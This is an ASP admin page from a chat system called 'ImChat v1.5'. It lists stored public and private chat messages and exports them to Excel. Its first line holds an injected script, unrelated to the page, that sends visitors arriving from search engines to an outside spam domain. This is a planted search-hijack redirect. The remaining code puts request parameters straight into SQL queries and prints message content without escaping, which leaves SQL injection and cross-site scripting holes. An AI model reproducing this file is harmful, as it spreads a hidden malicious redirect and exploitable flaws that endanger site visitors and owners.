d:\wwwroot\wuchunhua\liaotianim\system_manage\Msg_ToExcel.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="../inc/md5.asp"-->
003: <!--#include file="../inc/page.asp"-->
004: <!--#include file="Check.asp"-->
005: <%
006:
007: '获取用户信息
008: function GetUserInfo(Uid,FiledName)
009:     if Cint(Uid)<1 then GetUserInfo="所有人":exit function
010:     Dim URS,RE
011:     Set URS=Server.CreateObject( "ADODB.Recordset" )
012:     Set URS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_ID]="&Uid)
013:     if URS.recordcount>0 then
014:         GetUserInfo=Cstr(URS(FiledName))
015:     else
016:         GetUserInfo="已删除用户"
017:     end if
018: end function
019:
020: '获取房间信息
021: function GetRoomInfo(filedname)
022:     dim GPRS,re
023:     re=""
024:     if not request("t")<>"" then re=" 所有"
025:     if request("t")="public" then re=" 公聊"
026:     if request("t")="private" then re=" 私聊"
027:     if request("RoomID")<>"" then
028:         set GPRS=Server.CreateObject( "ADODB.Recordset" )
029:         set GPRS=DB_CONN.EXECUTE("select * from [XK_Room] where [Room_ID]="&request("RoomID"))
030:         if GPRS.recordcount>0 then
031:             re=GPRS(filedname)&re
032:         end if
033:     end if
034:     GetRoomInfo=re
035: end function
036:
037: Dim ConfigRS
038: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
039: if request.QueryString("Method")="Del" then
040:     DB_CONN.EXECUTE("delete from [XK_Msg] where [Msg_ID]="&request.QueryString("Msg_ID"))
041:     RW "<script>location.href='Msg_Manage.asp';</script>":response.end()
042: end if
043: if request.QueryString("Method")="DelAll" then
044:     DB_CONN.EXECUTE("delete from [XK_Msg] where not ([Msg_ID]=1535)")
045:     RW "<script>location.href='Msg_Manage.asp';</script>":response.end()
046: end if
047: dim Swhere:Swhere=""
048: dim RoomID:RoomID=""
049: if request.QueryString("RoomID")<>"" then RoomID=" and [Room_ID]="&request.QueryString("RoomID")
050: if request.QueryString("t")="public" then Swhere=" and [Get_User_ID] <1 "
051: if request.QueryString("t")="private" then Swhere=" and [Get_User_ID] >0 "
052: Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Msg] where 1=1 "&Swhere&RoomID&" order by [Msg_ID] desc")
053: ConfigRS.pagesize=10
054: if isempty(request("page")) or request("page")="" then curpage=1 else curpage=Cint(request("page")) end if
055: if not ConfigRS.eof then ConfigRS.absolutepage = curpage
056: %
>
057: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
058: <html xmlns="http://www.w3.org/1999/xhtml">
059: <head>
060: <title>ImChat v1.5 Manage System</title>
061: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
062: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
063: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
064: <script>
065: function ToExcel(tableid) //读取表格中每个单元到EXCEL中
066: {
067: var curTbl = document.getElementById(tableid);
068: var oXL = new ActiveXObject("Excel.Application");
069: //创建AX对象excel
070: var oWB = oXL.Workbooks.Add();
071: //获取workbook对象
072: var oSheet = oWB.ActiveSheet;
073: //激活当前sheet
074: var Lenr = curTbl.rows.length;
075: //取得表格行数
076: for (i = 0; i < Lenr; i++)
077: {
078:      var Lenc = curTbl.rows(i).cells.length;
079:      //取得每行的列数
080:      for (j = 0; j < Lenc; j++)
081:      {
082:          oSheet.Cells(i + 1, j + 1).value = curTbl.rows(i).cells(j).innerText;
083:          //赋值
084:      }
085: }
086: oXL.Visible = true;
087: //设置excel可见属性
088: }
089: </script>
090: <style>
091: .JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
092: .JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
093: </style>
094: </head>
095: <body>
096: <div class="contentcontainer">
097:     <div class="headings alt">
098:         <h2><font color="red"><%=GetRoomInfo("Room_Name")%></font> · 信息管理&nbsp;&nbsp;&nbsp;<a href="Msg_ToExcel.asp?RoomID=<%=Request.QueryString("RoomID")%>" style="text-decoration:none;">所有信息</a>&nbsp;&nbsp;&nbsp;<a href="Msg_ToExcel.asp?t=public&RoomID=<%=Request.QueryString("RoomID")%>" style="text-decoration:none;">公共聊天</a>&nbsp;&nbsp;&nbsp;<a href="Msg_ToExcel.asp?t=private&RoomID=<%=Request.QueryString("RoomID")%>" style="text-decoration:none;">私聊</a>&nbsp;&nbsp;&nbsp;<a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a>&nbsp;&nbsp;&nbsp;<input type="button" value="导出Excel" onclick="ToExcel('tbtoexcel')" ></h2>
099:     </div>
100:     <div class="contentbox">
101:         <table id="tbtoexcel" class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
102:             <tr>
103:                 <td>序号</td>
104:                 <td>发送人</td>
105:                 <td>接受人</td>
106:                 <td>内容</td>
107:                 <td>发送时间</td>
108:             </tr>
109:             <%
110:             dim iP
111:             while (not ConfigRS.eof)            
112:             iP=iP+1
113:             %
>
114:             <tr>
115:                 <td><%=iP%></td>
116:                 <td>&nbsp;<%=GetUserInfo(ConfigRS("Post_User_ID"),"User_NickName")%></td>
117:                 <td>&nbsp;<%=GetUserInfo(ConfigRS("Get_User_ID"),"User_NickName")%></td>
118:                 <td>&nbsp;<%=vbsUnEscape(ConfigRS("Msg_Content"))%></td>
119:                 <td>&nbsp;<%=ConfigRS("Msg_SendTime")%></td>
120:             </tr>
121:             <%
122:             ConfigRS.MoveNext
123:             wend
124:             %
>
125:         </table>
126:         
127:     </div>
128: </div>
129: </body>
130: </html>
131:
132:
133: